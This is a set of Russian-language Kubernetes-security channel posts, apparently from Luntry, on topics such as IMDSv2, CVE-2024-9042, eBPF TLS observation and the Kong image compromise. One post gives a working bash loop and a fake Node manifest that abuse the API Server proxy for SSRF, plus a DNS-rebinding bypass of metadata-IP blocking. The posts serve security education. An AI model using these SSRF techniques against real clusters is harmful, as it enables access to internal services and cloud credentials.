Сегодня хотим познакомить вас с одним необычным проектом с идеей о которой я думаю так или иначе задумывались многие ;)

Проект Kine это etcdshim, который транслирует etcd API к:
- SQLite
- Postgres
- MySQL/MariaDB
- NATS

Тут же вспоминается недавняя статья "65,000 nodes and counting: Google Kubernetes Engine is ready for trillion-parameter AI models" в которой рассказывалось, что для достижения таких умопомрачительных показателей (одним из изменений) было решено отказаться от etcd в пользу Spanner.

Давайте в комментариях накидаем мнений ЗА и ПРОТИВ подобной идеи.

P.S. Наверное предновогоднее настроение сказывается и тянет на что-то необычное, странное, сказочное наподобие такого)

В начале года мы рассказывали про IMDSv2 в AWS облаке и то от чего может защитить этот механизим. Сегодня делимся неплохой статьей, попавшей к нам в руки – From Detection to Enforcement: Migrating from IMDSv1 to IMDSv2.

В статье авторы рассматривают шаги, связанные с внедрением IMDSv2, и проблемы с которыми можно столкнуться при переходе с IMDSv1. Переход от IMDSv1 к IMDSv2 может быть сложным процессом, особенно в больших распределенных средах, где может быть трудно получить информацию об использовании IMDSv1 во всех экземплярах EC2. Процесс миграции можно упростить, разбив его на ключевые этапы: идентификация, атрибуция, миграция и внедрение, хотя и здесь есть свои сложности.

Неплохая серия статей с замерами по теме сравнения и выбора Service Mesh (Istio, Linkerd, Cilium):
- Service Meshes Decoded Part One: A performance comparison of Istio vs Linkerd vs Cilium
- Service Meshes Decoded Part Two: Is Istio Ambient worth it?

Подводим итоги нашего новогоднего конкурса! Спасибо большое всем участникам - было здорово получить столько вариантов! Большего всего нам понравились поздравления от:
- @KorvinStromji
- @ultramaxim

Команда Luntry поздравляет победителей =)

P.S. В ближайшее время свяжемся с победителями насчет передачи подарков.

Подведем итоги года данного канала в цифрах.

Большое спасибо всем читателям, всему сообществу за вашу активность!


P.S. Цифры прошлых лет можно посмотреть тут и тут.

Сегодня хочется познакомить вас с еще одним обучающим проектом в котором есть немного теории и практики по безопасности Kubernetes.

Это проект Damn Vulnerable Kubernetes Application (DVKA). В нем есть 2 задания:
- Hack The NFT Museum
- Enterprise Grade Network Debugging Console

Развернуть их можно на Minikube или Kind. И это напоминает проект Kubernetes Goat о котором мы уже рассказывали.

Также тут есть теория "Kubernetes Security Workshop: Hands-On Attack and Defense" со слайдами, и полезными ссылками, и последовательностями команд.

Самое то что можно развернуть на праздниках и поучиться ;)

Наша команда Luntry поздравляет всех читателей канала с наступающим 2025! Желаем всем счастья, здоровья в новом году и чтобы Kubernetes для вас стал не очередной головной болью, а их решением на пути к безопасной инфраструктуре и безопасным приложениям! А мы с командой вам также поможем на этом пути ;)

На следующий год мы запланировали много всего очень интересно и полезного. Что-то мы готовили весь этот год и готовы представить в следующем, что-то сделаем впервые и о чем нас давно просили =)

Мы в большом предвкушении показать как наши новые фичи, так и новые исследования! Тут будут и истории про 0day и 1day в Kubernetes и популярных Cloud Native решения (пока ждем патчей - в новом году обновляться придется часто).

Всем хорошо встретить праздники и набраться сил ;)

Когда-то мы рассказывали на канале о таком ресурсе как HackTricks. Там был раздел, посвященный Kubernetes Security, однако потом он переехал на отдельный ресурс HackTricks Cloud.

Сегодня мы хотим поделиться AI Assistant от создателя этих ресурсов – HackTricks Assistant. По сути это чат-бот, который натренирован на информации с HackTricks. В том числе, по Kubernetes Security.

Однако, по правде сказать – ничего особенного, этакая замена привычному поиску по сайту.

Стали доступны записи выступлений с KubeCon + CloudNativeCon India 2024. Полный плейлист можно найти тут (это под 100 видео). Отдельно отметим доклады:
- A Deep Dive Into the Current Runtime Security Landscape
- Tutorial: Flatcar Container Linux Deep Dive: Deploying, Managing, and Automating Workloads Securely
- Enhance Kubernetes Security with the Common Expression Language (CEL)

Сегодня вновь затронем тему eBPF, а точнее observability зашифрованного трафика с помощью этой технологии – статья "What Insights Can eBPF Provide into Real-Time SSL/TLS Encrypted Traffic and How?" как раз об этом.

Автор рассматривает две функции – SSL_write() для записи данный (используется для перехвата данных, записанных клиентом, но еще не зашифрованных) и SSL_read() для чтения данных из SSL соединения. Эта функция позволяет перехватить расшифрованные данные, а также разобрать код ответа.

Самое интересное, что даже не нужны сертификаты TLS/SSL для расшифровки или шифрования трафика. Это позволяет наблюдать за протоколом приложения как до шифрования, так и после расшифровки.

Если говорить про перформанс, то такой способ даёт оверхед, хоть и всего 0.2 мкс. Кроме того, средняя нагрузка на процессор, создаваемая каждым хуком, выглядит следующим образом: 0,1% для uprobe/SSL_write*, 0,007% для uprobe/SSL_read* и 0,3% для uretprobe/SSL_read. Замеры проводились на 1000 запросах для каждого HTTP метода.

Простая и понятная визуализация на тему как выбрать соответствующий Distroless образ от Google для вашего приложения.

О том что distroless бывают разные мы писали тут. И не забываем что там не все идеально - об этом писали тут ;)

Ну и вообще не только Google такое делает. И вообще можно это делать своими руками.

Первая конференция в 2025-ом году, которая зацепила наше внимание – ShmooCon 2025. Там было много интересных докладов, в том числе там был доклад и про Kubernetes Security – "A Commencement into Real Kubernetes Security (Jay Beale and Mark Manning)".

В докладе авторы рассказывают много чего интересного – затрагивают проблемы system call filtering system, приводящие к TOCTOU, говорят про инструменты для генерации и управления seccomp профилями в Kubernetes, показывают демо работы с инструментами peirates и KubeHound (1, 2).

Также в докладе был упомянут новый инструмент Seccomp-Diff, который может сравнивать Seccomp профили двух контейнеров и подсвечивать наиболее опасные системные вызовы. Может работать как CLI, так и через веб-приложение.

Сегодня мы вам рекомендуем изучить статью "Building Container Images FROM Scratch: 6 Pitfalls That Are Often Overlooked" (Иван продолжай в том же духе ;)). Название говорит само за себя. Все с наглядными примерами проблем и их решениями.

Вышло очередное новое видео из серии Kubernetes Security Fundamentals от Rory McCune. Это видео про Authentication, а вернее о том как работает аутентификация учетных записей сервисов в Kubernetes. Видео доступно по ссылке тут.

Начнем эту неделю со статьи "Reproducing CVE-2024-9042: Command Injection in Windows Kubernetes Nodes" про CVE-2024-9042, которая описывается вендором: Command Injection affecting Windows nodes via nodes/*/logs/query API. Ключевые моменты:

- Только Windows
- Должен быть включен NodeLogQuery feature gate (по умолчанию сейчас выключен и эту ручку упоминали тут)
- pattern параметр этой фичи напрямую передается в Powershell без фильтрации
- command injection любым пользователем и service account с правами GET на nodes/logs
- Позволяет выполнять команды на всех Windows нодах от NTAuthority\system

Вот как-то само собой так получается, что когда мы рассказываем [1,2] про Kubernetes в Windows мире, это обязательно про какие-то баги. И при этом эти баги не проходные, а которые действительно могут быть очень полезны атакующему.

P.S. Кто-нибудь Kubernetes кластера на Windows держит или игрался с ними?

Сегодняшним постом продолжаем тематику наступательной безопасности в Kubernetes, а именно – рассмотрим механизм Proxy в Kubernetes API Server.

Наверняка вы знаете, что Kubernetes API Server может выступать в качестве HTTP-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy) получить доступ к Nodes или Pods.

Очевидно, что kubectl proxy позволяет по сути экспулатировать SSRF, поэтому рассмотрим несколько интересных способов использования этой функциональности:

1) Проксирование на адреса вне кластера

Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать IP адрес в поле status в манифесте Pod, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes распознает это изменение как ошибку и изменяет значение на действительный IP-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:

#!/bin/bash

set -euo pipefail

readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1

while true; do
  curl -v -H 'Content-Type: application/json' \
    "http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"

  cat $POD-orig.json |
    sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
      >"${POD}-patched.json"

  curl -v -H 'Content-Type:application/merge-patch+json' \
    -X PATCH -d "@${POD}-patched.json" \
    "http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"

  rm -f "${POD}-orig.json" "${POD}-patched.json"
done

2) SSRF через Fake Node

Если у вас есть возможность создавать Nodes, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:

kind: Node
apiVersion: v1
metadata:
  name: fakegoogle
status:
  addresses:
  - address: www.google.com
    type: Hostname

curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/

3) CVE-2020-8562 – Обход blacklist

Эксплуатация уязвимости типа TOCTOU, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254. Прибегнув к известной технике для эксплуатации SSRF – DNS rebinding можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.

Про эти и другие способы использования kubectl proxy рассказал Rory McCune в своей статье "Exploring the Kubernetes API Server Proxy".

На Хабре вышла наша статья "Безопасность Kubernetes-кластеров: вредные советы или bullshit bingo", которая по сути является текстовым представлением нашего выступления с DevOpsConf 2024. В общем, для тех кому ближе текст, а не видео. И как всегда задавайте любые вопросы в комментариях!

Неприятная история случилась с Kong Ingress Controller в конце прошлого года – в прод попал образ, содержащий в себе майнер XMRig. Таймлайн происходящего был таков:

1) 28 августа 2024 года разработчики из Kong исправляют свои пайплайны меняя pull_request на pull_request_target
2) 25 ноября 2024 года они получают анонимный отчет от исследователя безопасности о том, что их репозиторий подвержен атаке Pwn request. После этого мейнтейнеры провели ротацию всех секретов в репозитории и вернули триггерное событие обратно на pull_request. Но только для главной ветки. Так что старые неиспользуемые ветки продолжили использовать pull_request_target, а значит были уязвимы.
3) Спустя почти два месяца, а именно 23 декабря 2024 года атакующие начали разведку – они получили доступ к секретам, в том числе к персональному токену доступа GitHub, проэксплуатировав уязвимость в одном из репозиториев.
4) Примерно через 22 часа – 24 декабря злоумышленники перешли на основной репозиторий с полученным на предудыщем шаге access token. Они запушили образ docker.io/kong/kubernetes-ingress-controller на Dockerhub с тегом 3.4.
5) 29 декабря 2024 года 4 пользователя отметили в issue на GitHub, что запуск Kong Ingress Controller приводит к аномально высокой нагрузке на ЦП.
6) 2 января 2025 мейнтейнеры подтвердили, что образ был скомпрометирован, а вунтри него содержался XMRig.

Более подробно о всей ситуации можно почитать в блоге KIC тут. Также было опубликовано YARA правило для обнаружения таких нагрузок.

Замечательная статья "Runtime Security and the Role of eBPF/BPF-LSM", которая достаточно понятно объясняет как работает настоящий prevention (предотвращение) в Linux с помощью eBPF.

В качестве подопытных рассматриваются Falco, Tetragon и KubeArmor - все с разными подходами к реализации. Первые два не дают никакого предотвращения, а только реагирование. Falco из user space отправляет kill сигнал, а tetragon из kernel space отправляет bpf_send_signal(). Это характерно не только им, но и всем реализациям, которые опираются не на Linux Security Modules (LSM). И если вам рассказывают/заявляют обратное, то вам попросту врут.

У нас в Luntry есть функциональность для обнаружения, реагирование со сбором артефактов, предотвращения на базе AppArmor (он опирается на LSM) и уже на подходе собственная реализация предотвращения на базе eBPF-LSM.

Более детально мы сравнивали различные security runtime-решения в вебинаре "Runtime Security: на вкус и цвет все фломастеры разные".

Проект Notary (еще один проект, помимо Cosign, для подписи и верификации артефактов) прошел второй security audit.

Аудиторы из Quarks Lab в своем отчете отразили 11 findings, 2 из которых уже присвоили CVE:

CVE-2024-56138: Time stamp signature generation lacks certificate revocation check
CVE-2024-51491: Process crash during CRL-based revocation check on OS using separate mount point for temp Directory

Краткую выжимку всех находок можно почитать в блоге Quarks Lab тут, а полный отчет в репозитории Notary тут.

13 февраля на ТБ Форуме пройдет доклад Анатолия Карпенко, инженера по автоматизации Luntry, на тему “Основы анализа СЗИ в контейнерном исполнении с помощью Luntry”.

За достаточно небольшой временной интервал мы с вами пройдем путь от полного неведения о попавшем нам в руки для анализа СЗИ в контейнерном исполнении, до полного понимания, что это за средство, как оно устроено и насколько все хорошо у него с безопасностью.

В рамках доклада:
- Узнаем, как можно быстро понять исследуемое приложение с точки зрения его компонентов и активности;
- Разберемся, на какие аспекты образов контейнеров стоит обращаться внимание с точки зрения информационной безопасности;
- Поднявшись на уровень выше, углубимся в свойства безопасности на уровне контейнеров и YAML файлов, описывающих их в Kubernetes.
- На каждом этапе остановимся на рекомендациях по исправлению и улучшению уровня безопасности контейнерного приложения.